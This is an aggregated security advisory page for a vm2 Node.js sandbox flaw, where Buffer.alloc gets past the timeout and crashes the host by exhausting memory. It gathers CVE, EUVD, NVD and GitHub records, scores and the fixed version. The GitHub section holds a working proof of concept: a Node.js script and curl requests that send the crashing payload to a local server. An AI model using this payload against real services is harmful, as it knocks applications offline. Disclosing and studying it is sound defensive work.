vm2: Host Process OOM DoS via Buffer.alloc (Timeout Bypass)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0.

Source published

13 May 2026 17:31:16 UTC

Source modified

7 Sep 2026 12:04:56 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0.

Source published

May 13, 2026, 5:31:16 PM (timezone not stated)

Source modified

Sep 7, 2026, 12:04:56 PM (timezone not stated)

Observed here

7 Nov 2026 09:37:50 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0.

Source published

13 May 2026 18:16:17 UTC

Source modified

26 Oct 2026 17:10:03 UTC

Observed here

27 Oct 2026 11:12:09 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

### Summary Sandboxed code can call `Buffer.alloc()` with an arbitrary size to allocate memory directly on the host heap. Because `Buffer.alloc` is a synchronous C++ native call, vm2's `timeout` option cannot interrupt it. A single request can exhaust host memory and crash the process with a `FATAL ERROR: Reached heap limit`. ### Details In `lib/vm.js:58`, `Buffer` is exposed to the sandbox through the `HOST` object. The bridge proxy (`lib/bridge.js`) passes `Buffer.alloc()` calls to the host without any size validation. Key technical distinction from regular JavaScript memory exhaustion (e.g., `while(true) a.push(...)`): - **JavaScript loops**: V8 can interrupt via timeout — vm2's `timeout` option works - **`Buffer.alloc(N)`**: Executes as a single synchronous C++ call — V8 timeout has no opportunity to interrupt This means: 1. `timeout: 5000` does NOT protect against this attack 2. A single call allocates the entire requested size at once 3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash Tested amplification factor: ~100 bytes HTTP request — 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation). ### PoC **Library-level PoC (Node.js script — primary):** ```javascript const { VM } = require("vm2"); const vm = new VM({ timeout: 5000 }); // Buffer.alloc bypasses timeout — allocates 100MB on host heap const result = vm.run(`Buffer.alloc(1024*1024*100).length`); console.log(result); // 104857600 — timeout had no effect // Control test — JavaScript loop IS caught by timeout try { vm.run(`var a=[]; while(true) a.push(1)`); } catch(e) { console.log(e.message); // "Script execution timed out after 5000ms" } ``` **HTTP demonstration (OOM crash):** ```bash # 1. Confirm server is running curl -s http://localhost:3000/api/execute \ -X POST -H "Content-Type: application/json" \ -d '{"code":"\"alive\""}' # => {"result":"\"alive\""} # 2. Send Buffer.alloc payload — process crashes with OOM curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"Buffer.alloc(1024*1024*100).length"}' # => empty response (process died) # 3. Check server logs: # FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory # Control test — JavaScript loop IS caught by timeout: curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"var a=[]; while(true) a.push(1)"}' # => {"errors":["Script execution timed out after 5000ms"]} # Server stays alive — timeout works for JS, but NOT for Buffer.alloc ``` ### Impact - **DoS**: A single HTTP request crashes the host Node.js process via OOM. The `timeout` option provides no protection. - **Environment-dependent severity**: - **Memory-constrained environments** (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario — `FATAL ERROR: Reached heap limit` was confirmed in testing. - **Unconstrained environments**: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash. - **Scope**: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.

Source published

7 May 2026 04:26:39 UTC

Source modified

14 May 2026 20:48:47 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH